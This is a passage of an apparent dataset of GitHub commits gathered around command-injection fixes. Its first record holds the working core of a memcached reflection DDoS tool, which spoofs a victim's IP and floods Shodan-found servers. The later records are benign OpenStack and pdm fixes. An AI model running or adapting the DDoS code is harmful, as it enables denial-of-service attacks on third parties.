ip_array = [line.rstrip() for line in my_file]\n else:\n print('')\n print('[\u2718] Error: No bots stored locally, bots.txt file not found!')\n print('')\n if saveme.startswith('y') or query.startswith('y'):\n print('')\n target = input(\"[\u25b8] Enter target IP address: \")\n power = int(input(\"[\u25b8] Enter preferred power (Default 1): \") or \"1\")\n data = input(\"[\u25b8] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"\n print('')\n if query.startswith('y'):\n iplist = input('[*] Would you like to display all the bots from Shodan? : ').lower()\n if iplist.startswith('y'):\n print('')\n counter= int(0)\n for result in results['matches']:\n host = api.host('%s' % result['ip_str'])\n counter=counter+1\n print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a')))\n time.sleep(1.1 - ((time.time() - starttime) % 1.1))\n if saveme.startswith('y'):\n iplistlocal = input('[*] Would you like to display all the bots stored locally? : ').lower()\n if iplistlocal.startswith('y'):\n print('')\n counter= int(0)\n for x in ip_array:\n host = api.host('%s' % x)\n counter=counter+1\n print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, x, host.get('os', 'n/a'), host.get('org', 'n/a')))\n time.sleep(1.1 - ((time.time() - starttime) % 1.1))\n print('')\n engage = input('[*] Ready to engage target %s? : ' % target).lower()\n if engage.startswith('y'):\n if saveme.startswith('y'):\n for i in ip_array:\n if power>1:\n print('[+] Sending %d forged UDP packets to: %s' % (power, i))\n with suppress_stdout():\n send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)\n elif power==1:\n print('[+] Sending 1 forged UDP packet to: %s' % i)\n with suppress_stdout():\n send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)\n else:\n for result in results['matches']:\n if power>1:\n print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))\n with suppress_stdout():\n send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)\n elif power==1:\n print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])\n with suppress_stdout():\n send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)\n print('')\n print('[\u2022] Task complete! Exiting Platform. Have a wonderful day.')\n break\n else:\n print('')\n print('[\u2718] Error: %s not engaged!' % target)\n print('[~] Restarting Platform! Please wait.')\n print('')\n else:\n print('')\n print('[\u2718] Error: No bots stored locally or remotely on Shodan!')\n print('[~] Restarting Platform! Please wait.')\n print('')\n\n except shodan.APIError as e:\n print('[\u2718] Error: %s' % e)\n option = input('[*] Would you like to change API Key? : ').lower()\n if option.startswith('y'):\n file = open('api.txt', 'w')\n SHODAN_API_KEY = input('[*] Please enter valid Shodan.io API Key: ')\n file.write(SHODAN_API_KEY)\n print('[~] File written: ./api.txt')\n file.close()\n print('[~] Restarting Platform! Please wait.')\n print('')\n else:\n print('')\n print('[\u2022] Exiting Platform. Have a wonderful day.')\n break\n"}}, "msg": "Version 4.0\n\nNew feature:\n- New memory injection technique with \"set\" and \"get\" memcache commands\n- Payload now is automatically converted into TWO synchronized payloads,\none is set (allows you to write data onto the affected server), the\nother is get (allows you to retrieve the stored data but sent TO the\ntarget specified)\n\nIssues:\n\nI've discovered that the Scapy module could be a little faulty. Tests\nwere conducted and the memcache server you initially send forged packets\nto do not even receive the data. This could be a firewall issue but also\na scapy issue.\n\n*If someone can test and see if a memcache server can receive the data\non the specified port 11211 by checking via \"get injected\", please open\nan issue and relay your results. Also feel free to fix any errors I\nmight have made in this version. I'll be more than happy to merge your\nfixes."}}, "https://github.com/openstack/fuel-ostf": {"305210c2a2bc78dd372a5d34656b66d47450d6a6": {"url": "https://api.github.com/repos/openstack/fuel-ostf/commits/305210c2a2bc78dd372a5d34656b66d47450d6a6", "html_url": "https://github.com/openstack/fuel-ostf/commit/305210c2a2bc78dd372a5d34656b66d47450d6a6", "message": "Fix false positive result for file injection\n\nRaise exception if 'False' is result of\ncommand execution.\nAlso check if there is not 'ping' i the command raise\nmessage different then \"Instance connectivity issue\"\n\nChange-Id: I38bb7be403d73a262a33def79476fd844ae4c06d\nCloses-Bug: #1473164", "sha": "305210c2a2bc78dd372a5d34656b66d47450d6a6", "keyword": "command injection issue", "diff": "diff --git a/fuel_health/common/ssh.py b/fuel_health/common/ssh.py\nindex 17a8c4c9..1b3d03d4 100644\n--- a/fuel_health/common/ssh.py\n+++ b/fuel_health/common/ssh.py\n@@ -202,7 +202,7 @@ def exec_command_on_vm(self, command, user, password, vm):\n channel.shutdown_write()\n out_data = []\n err_data = []\n-\n+ LOG.debug(\"Run cmd {0} on vm {1}\".format(command, vm))\n select_params = [channel], [], [], self.channel_timeout\n while True:\n ready = select.select(*select_params)\n@@ -222,9 +222,14 @@ def exec_command_on_vm(self, command, user, password, vm):\n if channel.closed and not err_chunk and not out_chunk:\n break\n if 0 != exit_status:\n+ LOG.warning(\n+ 'Command {0} finishes with non-zero exit code {1}'.format(\n+ command, exit_status))\n raise exceptions.SSHExecCommandFailed(\n command=command, exit_status=exit_status,\n strerror=''.join(err_data).join(out_data))\n+ LOG.debug('Current result {0} {1} {2}'.format(\n+ command, err_data, out_data))\n return ''.join(out_data)\n \n def close_ssh_connection(self, connection):\ndiff --git a/fuel_health/nmanager.py b/fuel_health/nmanager.py\nindex 81d8faeb..0bb4e632 100644\n--- a/fuel_health/nmanager.py\n+++ b/fuel_health/nmanager.py\n@@ -391,14 +391,22 @@ def retry_command(self, retries, timeout, method, *args, **kwargs):\n for i in range(retries):\n try:\n result = method(*args, **kwargs)\n- LOG.debug(\"Command execution successful.\")\n- return result\n+ LOG.debug(\"Command execution successful. \"\n+ \"Result {0}\".format(result))\n+ if 'False' in result:\n+ raise exceptions.SSHExecCommandFailed(\n+ 'Command {0} finishes with False'.format(\n+ kwargs.get('command')))\n+ else:\n+ return result\n except Exception as exc:\n LOG.debug(traceback.format_exc())\n LOG.debug(\"%s. Another\"\n \" effort needed.\" % exc)\n time.sleep(timeout)\n-\n+ if 'ping' not in kwargs.get('command'):\n+ self.fail('Execution command on Instance fails '\n+ 'with unexpected result. ')\n self.fail(\"Instance is not reachable by IP.\")\n \n def check_clients_state(self):\n@@ -780,6 +788,7 @@ def run_cmd():\n self.usr, self.pwd,\n key_filename=self.key,\n timeout=timeout)\n+ LOG.debug('Host is {0}'.format(host))\n \n except Exception:\n LOG.debug(traceback.format_exc())\n@@ -789,9 +798,10 @@ def run_cmd():\n command=cmd,\n user='cirros',\n password='cubswin:)',\n- vm=ip_address)\n+ vm=ip_address, cmd=cmd)\n \n # TODO(???) Allow configuration of execution and sleep duration.\n+\n return fuel_health.test.call_until_true(run_cmd, 40, 1)\n \n def _check_vm_connectivity(self, ip_address, timeout, retries):\ndiff --git a/fuel_health/tests/smoke/test_nova_create_instance_with_connectivity.py b/fuel_health/tests/smoke/test_nova_create_instance_with_connectivity.py\nindex f17660cf..f9be9e9c 100644\n--- a/fuel_health/tests/smoke/test_nova_create_instance_with_connectivity.py\n+++ b/fuel_health/tests/smoke/test_nova_create_instance_with_connectivity.py\n@@ -349,7 +349,7 @@ def test_009_create_server_with_file(self):\n 600, self._run_command_from_vm,\n 4, \"Can not find injected file on instance.\",\n 'check if injected file exists', ip_address,\n- 30, (9, 60),\n+ 30, (9, 30),\n '[ -f /home/cirros/server.txt ] && echo \"True\" || echo \"False\"')\n \n self.verify(20, self.compute_client.servers.remove_floating_ip,\n", "files": {"/fuel_health/nmanager.py": {"changes": [{"diff": "\n for i in range(retries):\n try:\n result = method(*args, **kwargs)\n- LOG.debug(\"Command execution successful.\")\n- return result\n+ LOG.debug(\"Command execution successful. \"\n+ \"Result {0}\".format(result))\n+ if 'False' in result:\n+ raise exceptions.SSHExecCommandFailed(\n+ 'Command {0} finishes with False'.format(\n+ kwargs.get('command')))\n+ else:\n+ return result\n except Exception as exc:\n LOG.debug(traceback.format_exc())\n LOG.debug(\"%s. Another\"\n \" effort needed.\" % exc)\n time.sleep(timeout)\n-\n+ if 'ping' not in kwargs.get('command'):\n+ self.fail('Execution command on Instance fails '\n+ 'with unexpected result. ')\n self.fail(\"Instance is not reachable by IP.\")\n \n def check_clients_state(self):\n", "add": 11, "remove": 3, "filename": "/fuel_health/nmanager.py", "badparts": [" LOG.debug(\"Command execution successful.\")", " return result"], "goodparts": [" LOG.debug(\"Command execution successful. \"", " \"Result {0}\".format(result))", " if 'False' in result:", " raise exceptions.SSHExecCommandFailed(", " 'Command {0} finishes with False'.format(", " kwargs.get('command')))", " else:", " return result", " if 'ping' not in kwargs.get('command'):", " self.fail('Execution command on Instance fails '", " 'with unexpected result. ')"]}, {"diff": "\n command=cmd,\n user='cirros',\n password='cubswin:)',\n- vm=ip_address)\n+ vm=ip_address, cmd=cmd)\n \n # TODO(???) Allow configuration of execution and sleep duration.\n+\n return fuel_health.test.call_until_true(run_cmd, 40, 1)\n \n def _check_vm_connectivity(self, ip_address, timeout, retries)", "add": 2, "remove": 1, "filename": "/fuel_health/nmanager.py", "badparts": [" vm=ip_address)"], "goodparts": [" vm=ip_address, cmd=cmd)"]}]}, "/fuel_health/tests/smoke/test_nova_create_instance_with_connectivity.py": {"changes": [{"diff": "\n 600, self._run_command_from_vm,\n 4, \"Can not find injected file on instance.\",\n 'check if injected file exists', ip_address,\n- 30, (9, 60),\n+ 30, (9, 30),\n '[ -f /home/cirros/server.txt ] && echo \"True\" || echo \"False\"')\n \n self.verify(20, self.compute_client.servers.remove_floating_ip,\n", "add": 1, "remove": 1, "filename": "/fuel_health/tests/smoke/test_nova_create_instance_with_connectivity.py", "badparts": [" 30, (9, 60),"], "goodparts": [" 30, (9, 30),"]}], "source": "\n import logging import traceback from fuel_health.common.utils.data_utils import rand_name from fuel_health import nmanager LOG=logging.getLogger(__name__) class TestNovaNetwork(nmanager.NovaNetworkScenarioTest): \"\"\"Test suit verifies: -keypairs creation -security groups creation -Network creation -Instance creation -Floating ip creation -Instance connectivity by floating IP \"\"\" @classmethod def setUpClass(cls): super(TestNovaNetwork, cls).setUpClass() if cls.manager.clients_initialized: cls.tenant_id=cls.manager._get_identity_client( cls.config.identity.admin_username, cls.config.identity.admin_password, cls.config.identity.admin_tenant_name).tenant_id cls.keypairs={} cls.security_groups={} cls.network=[] cls.servers=[] cls.floating_ips=[] def setUp(self): super(TestNovaNetwork, self).setUp() self.check_clients_state() if not self.config.compute.compute_nodes: self.skipTest('There are no compute nodes') def tearDown(self): super(TestNovaNetwork, self).tearDown() if self.manager.clients_initialized: if self.servers: for server in self.servers: try: self._delete_server(server) self.servers.remove(server) except Exception: LOG.debug(traceback.format_exc()) LOG.debug(\"Server was already deleted.\") def test_001_create_keypairs(self): \"\"\"Create keypair Target component: Nova. Scenario: 1. Create a new keypair, check if it was created successfully. Duration: 25 s. \"\"\" self.keypairs[self.tenant_id]=self.verify(30, self._create_keypair, 1, 'Keypair can not be' ' created.', 'keypair creation', self.compute_client) def test_002_create_security_groups(self): \"\"\"Create security group Target component: Nova Scenario: 1. Create a security group, check if it was created correctly. Duration: 25 s. \"\"\" self.security_groups[self.tenant_id]=self.verify( 25, self._create_security_group, 1, \"Security group can not be created.\", 'security group creation', self.compute_client) def test_003_check_networks(self): \"\"\"Check network parameters Target component: Nova Scenario: 1. Get the list of networks. 2. Confirm that networks have expected labels. 3. Confirm that networks have expected ids. Duration: 50 s. \"\"\" seen_nets=self.verify( 50, self._list_networks, 1, \"List of networks is not available.\", 'listing networks' ) seen_labels, seen_ids=zip(*((n.label, n.id) for n in seen_nets)) for mynet in self.network: self.verify_response_body(seen_labels, mynet.label, ('Network can not be created.' 'properly'), failed_step=2) self.verify_response_body(seen_ids, mynet.id, ('Network can not be created.' ' properly '), failed_step=3) def test_004_create_servers(self): \"\"\"Launch instance Target component: Nova Scenario: 1. Create a new security group(if it doesn`t exist yet). 2. Create an instance using the new security group. 3. Delete instance. Duration: 200 s. \"\"\" self.check_image_exists() if not self.security_groups: self.security_groups[self.tenant_id]=self.verify( 25, self._create_security_group, 1, \"Security group can not be created.\", 'security group creation', self.compute_client) name=rand_name('ost1_test-server-smoke-') security_groups=[self.security_groups[self.tenant_id].name] server=self.verify( 200, self._create_server, 2, \"Creating instance using the new security group has failed.\", 'image creation', self.compute_client, name, security_groups ) self.verify(30, self._delete_server, 3, \"Server can not be deleted.\", \"server deletion\", server) def test_008_check_public_instance_connectivity_from_instance(self): \"\"\"Check network connectivity from instance via floating IP Target component: Nova Scenario: 1. Create a new security group(if it doesn`t exist yet). 2. Create an instance using the new security group. 3. Create a new floating IP 4. Assign the new floating IP to the instance. 5. Check connectivity to the floating IP using ping command. 6. Check that public IP 8.8.8.8 can be pinged from instance. 7. Disassociate server floating ip. 8. Delete floating ip 9. Delete server. Duration: 300 s. Deployment tags: nova_network \"\"\" self.check_image_exists() if not self.security_groups: self.security_groups[self.tenant_id]=self.verify( 25, self._create_security_group, 1, \"Security group can not be created.\", 'security group creation', self.compute_client) name=rand_name('ost1_test-server-smoke-') security_groups=[self.security_groups[self.tenant_id].name] server=self.verify(250, self._create_server, 2, \"Server can not be created.\", \"server creation\", self.compute_client, name, security_groups) floating_ip=self.verify( 20, self._create_floating_ip, 3, \"Floating IP can not be created.\", 'floating IP creation') self.verify(20, self._assign_floating_ip_to_instance, 4, \"Floating IP can not be assigned.\", 'floating IP assignment', self.compute_client, server, floating_ip) self.floating_ips.append(floating_ip) ip_address=floating_ip.ip LOG.info('is address is {0}'.format(ip_address)) LOG.debug(ip_address) self.verify(600, self._check_vm_connectivity, 5, \"VM connectivity doesn`t function properly.\", 'VM connectivity checking', ip_address, 30,(9, 60)) self.verify(600, self._check_connectivity_from_vm, 6,(\"Connectivity to 8.8.8.8 from the VM doesn`t \" \"function properly.\"), 'public connectivity checking from VM', ip_address, 30,(9, 60)) self.verify(20, self.compute_client.servers.remove_floating_ip, 7, \"Floating IP cannot be removed.\", \"removing floating IP\", server, floating_ip) self.verify(20, self.compute_client.floating_ips.delete, 8, \"Floating IP cannot be deleted.\", \"floating IP deletion\", floating_ip) if self.floating_ips: self.floating_ips.remove(floating_ip) self.verify(30, self._delete_server, 9, \"Server can not be deleted. \", \"server deletion\", server) def test_006_check_internet_connectivity_instance_without_floatingIP(self): \"\"\"Check network connectivity from instance without floating IP Target component: Nova Scenario: 1. Create a new security group(if it doesn`t exist yet). 2. Create an instance using the new security group. (if it doesn`t exist yet). 3. Check that public IP 8.8.8.8 can be pinged from instance. 4. Delete server. Duration: 300 s. Deployment tags: nova_network \"\"\" self.check_image_exists() if not self.security_groups: self.security_groups[self.tenant_id]=self.verify( 25, self._create_security_group, 1, \"Security group can not be created.\", 'security group creation', self.compute_client) name=rand_name('ost1_test-server-smoke-') security_groups=[self.security_groups[self.tenant_id].name] server=self.verify( 250, self._create_server, 2, \"Server can not be created.\", 'server creation', self.compute_client, name, security_groups) try: for addr in server.addresses: if addr.startswith('novanetwork'): instance_ip=server.addresses[addr][0]['addr'] if not self.config.compute.use_vcenter: compute=getattr(server, 'OS-EXT-SRV-ATTR:host') else: compute=None except Exception: LOG.debug(traceback.format_exc()) self.fail(\"Step 3 failed: cannot get instance details. \" \"Please refer to OpenStack logs for more details.\") self.verify(600, self._check_connectivity_from_vm, 3,(\"Connectivity to 8.8.8.8 from the VM doesn`t \" \"function properly.\"), 'public connectivity checking from VM', instance_ip, 30,(9, 30), compute) self.verify(30, self._delete_server, 4, \"Server can not be deleted. \", \"server deletion\", server) def test_009_create_server_with_file(self): \"\"\"Launch instance with file injection Target component: Nova Scenario: 1. Create a new security group(if it doesn`t exist yet). 2. Create an instance with injected file. 3. Assign floating ip to instance. 4. Check file exists on created instance. 5. Delete floating ip. 6. Delete instance. Duration: 200 s. Available since release: 2014.2-6.1 \"\"\" self.check_image_exists() if not self.security_groups: self.security_groups[self.tenant_id]=self.verify( 25, self._create_security_group, 1, \"Security group can not be created.\", 'security group creation', self.compute_client) name=rand_name('ost1_test-server-smoke-file_inj-') security_groups=[self.security_groups[self.tenant_id].name] data_file={\"/home/cirros/server.txt\": self._load_file('server.txt')} server=self.verify( 300, self._create_server, 2, \"Creating instance using the new security group has failed.\", 'instance creation', self.compute_client, name, security_groups, data_file=data_file ) floating_ip=self.verify( 20, self._create_floating_ip, 3, \"Floating IP can not be created.\", 'floating IP creation') self.verify(20, self._assign_floating_ip_to_instance, 3, \"Floating IP can not be assigned.\", 'floating IP assignment', self.compute_client, server, floating_ip) self.floating_ips.append(floating_ip) ip_address=floating_ip.ip self.verify( 600, self._run_command_from_vm, 4, \"Can not find injected file on instance.\", 'check if injected file exists', ip_address, 30,(9, 60), '[ -f /home/cirros/server.txt] && echo \"True\" || echo \"False\"') self.verify(20, self.compute_client.servers.remove_floating_ip, 5, \"Floating IP cannot be removed.\", \"removing floating IP\", server, floating_ip) self.verify(20, self.compute_client.floating_ips.delete, 5, \"Floating IP cannot be deleted.\", \"floating IP deletion\", floating_ip) if self.floating_ips: self.floating_ips.remove(floating_ip) self.verify(30, self._delete_server, 6, \"Server can not be deleted. \", \"server deletion\", server) ", "sourceWithComments": "# vim: tabstop=4 shiftwidth=4 softtabstop=4\n\n# Copyright 2013 OpenStack, LLC\n# Copyright 2013 Mirantis, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport logging\nimport traceback\n\nfrom fuel_health.common.utils.data_utils import rand_name\nfrom fuel_health import nmanager\n\nLOG = logging.getLogger(__name__)\n\n\nclass TestNovaNetwork(nmanager.NovaNetworkScenarioTest):\n \"\"\"Test suit verifies:\n - keypairs creation\n - security groups creation\n - Network creation\n - Instance creation\n - Floating ip creation\n - Instance connectivity by floating IP\n \"\"\"\n @classmethod\n def setUpClass(cls):\n super(TestNovaNetwork, cls).setUpClass()\n if cls.manager.clients_initialized:\n cls.tenant_id = cls.manager._get_identity_client(\n cls.config.identity.admin_username,\n cls.config.identity.admin_password,\n cls.config.identity.admin_tenant_name).tenant_id\n cls.keypairs = {}\n cls.security_groups = {}\n cls.network = []\n cls.servers = []\n cls.floating_ips = []\n\n def setUp(self):\n super(TestNovaNetwork, self).setUp()\n self.check_clients_state()\n if not self.config.compute.compute_nodes:\n self.skipTest('There are no compute nodes')\n\n def tearDown(self):\n super(TestNovaNetwork, self).tearDown()\n if self.manager.clients_initialized:\n if self.servers:\n for server in self.servers:\n try:\n self._delete_server(server)\n self.servers.remove(server)\n except Exception:\n LOG.debug(traceback.format_exc())\n LOG.debug(\"Server was already deleted.\")\n\n def test_001_create_keypairs(self):\n \"\"\"Create keypair\n Target component: Nova.\n\n Scenario:\n 1. Create a new keypair, check if it was created successfully.\n Duration: 25 s.\n\n \"\"\"\n self.keypairs[self.tenant_id] = self.verify(30,\n self._create_keypair,\n 1,\n 'Keypair can not be'\n ' created.',\n 'keypair creation',\n self.compute_client)\n\n def test_002_create_security_groups(self):\n \"\"\"Create security group\n Target component: Nova\n\n Scenario:\n 1. Create a security group, check if it was created correctly.\n Duration: 25 s.\n\n \"\"\"\n self.security_groups[self.tenant_id] = self.verify(\n 25, self._create_security_group, 1,\n \"Security group can not be created.\",\n 'security group creation',\n self.compute_client)\n\n def test_003_check_networks(self):\n \"\"\"Check network parameters\n Target component: Nova\n\n Scenario:\n 1. Get the list of networks.\n 2. Confirm that networks have expected labels.\n 3. Confirm that networks have expected ids.\n Duration: 50 s.\n\n \"\"\"\n seen_nets = self.verify(\n 50,\n self._list_networks,\n 1,\n \"List of networks is not available.\",\n 'listing networks'\n )\n seen_labels, seen_ids = zip(*((n.label, n.id) for n in seen_nets))\n for mynet in self.network:\n self.verify_response_body(seen_labels, mynet.label,\n ('Network can not be created.'\n 'properly'), failed_step=2)\n self.verify_response_body(seen_ids, mynet.id,\n ('Network can not be created.'\n ' properly '), failed_step=3)\n\n def test_004_create_servers(self):\n \"\"\"Launch instance\n Target component: Nova\n\n Scenario:\n 1. Create a new security group (if it doesn`t exist yet).\n 2. Create an instance using the new security group.\n 3. Delete instance.\n Duration: 200 s.\n\n \"\"\"\n self.check_image_exists()\n if not self.security_groups:\n self.security_groups[self.tenant_id] = self.verify(\n 25,\n self._create_security_group,\n 1,\n \"Security group can not be created.\",\n 'security group creation',\n self.compute_client)\n\n name = rand_name('ost1_test-server-smoke-')\n security_groups = [self.security_groups[self.tenant_id].name]\n\n server = self.verify(\n 200,\n self._create_server,\n 2,\n \"Creating instance using the new security group has failed.\",\n 'image creation',\n self.compute_client, name, security_groups\n )\n\n self.verify(30, self._delete_server, 3,\n \"Server can not be deleted.\",\n \"server deletion\", server)\n\n def test_008_check_public_instance_connectivity_from_instance(self):\n \"\"\"Check network connectivity from instance via floating IP\n Target component: Nova\n\n Scenario:\n 1. Create a new security group (if it doesn`t exist yet).\n 2. Create an instance using the new security group.\n 3. Create a new floating IP\n 4. Assign the new floating IP to the instance.\n 5. Check connectivity to the floating IP using ping command.\n 6. Check that public IP 8.8.8.8 can be pinged from instance.\n 7. Disassociate server floating ip.\n 8. Delete floating ip\n 9. Delete server.\n Duration: 300 s.\n\n Deployment tags: nova_network\n \"\"\"\n self.check_image_exists()\n if not self.security_groups:\n self.security_groups[self.tenant_id] = self.verify(\n 25, self._create_security_group, 1,\n \"Security group can not be created.\",\n 'security group creation',\n self.compute_client)\n\n name = rand_name('ost1_test-server-smoke-')\n security_groups = [self.security_groups[self.tenant_id].name]\n\n server = self.verify(250, self._create_server, 2,\n \"Server can not be created.\",\n \"server creation\",\n self.compute_client, name, security_groups)\n\n floating_ip = self.verify(\n 20,\n self._create_floating_ip,\n 3,\n \"Floating IP can not be created.\",\n 'floating IP creation')\n\n self.verify(20, self._assign_floating_ip_to_instance,\n 4, \"Floating IP can not be assigned.\",\n 'floating IP assignment',\n self.compute_client, server, floating_ip)\n\n self.floating_ips.append(floating_ip)\n\n ip_address = floating_ip.ip\n LOG.info('is address is {0}'.format(ip_address))\n LOG.debug(ip_address)\n\n self.verify(600, self._check_vm_connectivity, 5,\n \"VM connectivity doesn`t function properly.\",\n 'VM connectivity checking', ip_address,\n 30, (9, 60))\n\n self.verify(600, self._check_connectivity_from_vm,\n 6, (\"Connectivity to 8.8.8.8 from the VM doesn`t \"\n \"function properly.\"),\n 'public connectivity checking from VM', ip_address,\n 30, (9, 60))\n\n self.verify(20, self.compute_client.servers.remove_floating_ip,\n 7, \"Floating IP cannot be removed.\",\n \"removing floating IP\", server, floating_ip)\n\n self.verify(20, self.compute_client.floating_ips.delete,\n 8, \"Floating IP cannot be deleted.\",\n \"floating IP deletion\", floating_ip)\n\n if self.floating_ips:\n self.floating_ips.remove(floating_ip)\n\n self.verify(30, self._delete_server, 9,\n \"Server can not be deleted. \",\n \"server deletion\", server)\n\n def test_006_check_internet_connectivity_instance_without_floatingIP(self):\n \"\"\"Check network connectivity from instance without floating IP\n Target component: Nova\n\n Scenario:\n 1. Create a new security group (if it doesn`t exist yet).\n 2. Create an instance using the new security group.\n (if it doesn`t exist yet).\n 3. Check that public IP 8.8.8.8 can be pinged from instance.\n 4. Delete server.\n Duration: 300 s.\n\n Deployment tags: nova_network\n \"\"\"\n self.check_image_exists()\n if not self.security_groups:\n self.security_groups[self.tenant_id] = self.verify(\n 25, self._create_security_group, 1,\n \"Security group can not be created.\",\n 'security group creation', self.compute_client)\n\n name = rand_name('ost1_test-server-smoke-')\n security_groups = [self.security_groups[self.tenant_id].name]\n\n server = self.verify(\n 250, self._create_server, 2,\n \"Server can not be created.\",\n 'server creation',\n self.compute_client, name, security_groups)\n\n try:\n for addr in server.addresses:\n if addr.startswith('novanetwork'):\n instance_ip = server.addresses[addr][0]['addr']\n if not self.config.compute.use_vcenter:\n compute = getattr(server, 'OS-EXT-SRV-ATTR:host')\n else:\n compute = None\n except Exception:\n LOG.debug(traceback.format_exc())\n self.fail(\"Step 3 failed: cannot get instance details. \"\n \"Please refer to OpenStack logs for more details.\")\n\n self.verify(600, self._check_connectivity_from_vm,\n 3, (\"Connectivity to 8.8.8.8 from the VM doesn`t \"\n \"function properly.\"),\n 'public connectivity checking from VM',\n instance_ip, 30, (9, 30), compute)\n\n self.verify(30, self._delete_server, 4,\n \"Server can not be deleted. \",\n \"server deletion\", server)\n\n def test_009_create_server_with_file(self):\n \"\"\"Launch instance with file injection\n Target component: Nova\n\n Scenario:\n 1. Create a new security group (if it doesn`t exist yet).\n 2. Create an instance with injected file.\n 3. Assign floating ip to instance.\n 4. Check file exists on created instance.\n 5. Delete floating ip.\n 6. Delete instance.\n Duration: 200 s.\n Available since release: 2014.2-6.1\n \"\"\"\n self.check_image_exists()\n if not self.security_groups:\n self.security_groups[self.tenant_id] = self.verify(\n 25,\n self._create_security_group,\n 1,\n \"Security group can not be created.\",\n 'security group creation',\n self.compute_client)\n\n name = rand_name('ost1_test-server-smoke-file_inj-')\n security_groups = [self.security_groups[self.tenant_id].name]\n\n data_file = {\"/home/cirros/server.txt\": self._load_file('server.txt')}\n server = self.verify(\n 300,\n self._create_server,\n 2,\n \"Creating instance using the new security group has failed.\",\n 'instance creation',\n self.compute_client, name, security_groups, data_file=data_file\n )\n\n floating_ip = self.verify(\n 20,\n self._create_floating_ip,\n 3,\n \"Floating IP can not be created.\",\n 'floating IP creation')\n\n self.verify(20, self._assign_floating_ip_to_instance,\n 3, \"Floating IP can not be assigned.\",\n 'floating IP assignment',\n self.compute_client, server, floating_ip)\n\n self.floating_ips.append(floating_ip)\n\n ip_address = floating_ip.ip\n\n self.verify(\n 600, self._run_command_from_vm,\n 4, \"Can not find injected file on instance.\",\n 'check if injected file exists', ip_address,\n 30, (9, 60),\n '[ -f /home/cirros/server.txt ] && echo \"True\" || echo \"False\"')\n\n self.verify(20, self.compute_client.servers.remove_floating_ip,\n 5, \"Floating IP cannot be removed.\",\n \"removing floating IP\", server, floating_ip)\n\n self.verify(20, self.compute_client.floating_ips.delete,\n 5, \"Floating IP cannot be deleted.\",\n \"floating IP deletion\", floating_ip)\n\n if self.floating_ips:\n self.floating_ips.remove(floating_ip)\n\n self.verify(30, self._delete_server, 6,\n \"Server can not be deleted. \",\n \"server deletion\", server)\n"}}, "msg": "Fix false positive result for file injection\n\nRaise exception if 'False' is result of\ncommand execution.\nAlso check if there is not 'ping' i the command raise\nmessage different then \"Instance connectivity issue\"\n\nChange-Id: I38bb7be403d73a262a33def79476fd844ae4c06d\nCloses-Bug: #1473164"}}, "https://github.com/ic-hep/pdm": {"9115beba55f93e4822e530372cc972ffa86c0245": {"url": "https://api.github.com/repos/ic-hep/pdm/commits/9115beba55f93e4822e530372cc972ffa86c0245", "html_url": "https://github.com/ic-hep/pdm/commit/9115beba55f93e4822e530372cc972ffa86c0245", "message": "Update to using env variables rather than command line args.\n\nThis should hopefully avoid any nasty injection problems.", "sha": "9115beba55f93e4822e530372cc972ffa86c0245", "keyword": "command injection update", "diff": "diff --git a/src/pdm/workqueue/Worker.py b/src/pdm/workqueue/Worker.py\nindex 5e443f0..7406c62 100644\n--- a/src/pdm/workqueue/Worker.py\n+++ b/src/pdm/workqueue/Worker.py\n@@ -52,18 +52,15 @@ def __init__(self, debug=False, one_shot=False):\n self._types = [JobType[type_.upper()] for type_ in # pylint: disable=unsubscriptable-object\n conf.pop('types', ('LIST', 'COPY', 'REMOVE'))]\n self._interpoll_sleep_time = conf.pop('poll_time', 2)\n- self._script_path = conf.pop('script_path', None)\n- if self._script_path:\n- self._script_path = os.path.abspath(self._script_path)\n- else:\n- code_path = os.path.abspath(os.path.dirname(__file__))\n- self._script_path = os.path.join(code_path, 'scripts')\n- self._logger.info(\"Script search path is: %s\", self._script_path)\n+ self._script_path = conf.pop('script_path',\n+ os.path.join(os.path.dirname(__file__), 'scripts'))\n+ self._script_path = os.path.abspath(self._script_path)\n+ self._logger.info(\"Script search path is: %r\", self._script_path)\n self._current_process = None\n+\n # Check for unused config options\n if conf:\n- keys = ', '.join(conf.keys())\n- raise ValueError(\"Unused worker config params: '%s'\" % keys)\n+ raise ValueError(\"Unused worker config params: '%s'\" % ', '.join(conf.keys()))\n \n def terminate(self, *_):\n \"\"\"Terminate worker daemon.\"\"\"\n@@ -116,7 +113,9 @@ def run(self):\n self._abort(job['id'], \"Protocol '%s' not supported at src site with id %d\"\n % (job['protocol'], job['src_siteid']))\n continue\n- command = \"%s %s\" % (COMMANDMAP[job['type']][job['protocol']], random.choice(src))\n+ script_env = dict(os.environ,\n+ PATH=self._script_path,\n+ SRC_PATH=random.choice(src))\n \n if job['type'] == JobType.COPY:\n if job['dst_siteid'] is None:\n@@ -135,16 +134,16 @@ def run(self):\n self._abort(job['id'], \"Protocol '%s' not supported at dst site with id %d\"\n % (job['protocol'], job['dst_siteid']))\n continue\n- command += \" %s\" % random.choice(dst)\n+ script_env['DST_PATH'] = random.choice(dst)\n \n+ command = COMMANDMAP[job['type']][job['protocol']]\n with TempX509Files(job['credentials']) as proxyfile:\n+ script_env['X509_USER_PROXY'] = proxyfile.name\n self._current_process = subprocess.Popen('(set -x && %s)' % command,\n shell=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n- env=dict(os.environ,\n- PATH=self._script_path,\n- X509_USER_PROXY=proxyfile.name))\n+ env=script_env)\n log, _ = self._current_process.communicate()\n self.set_token(token)\n try:\ndiff --git a/src/pdm/workqueue/scripts/copy.sh 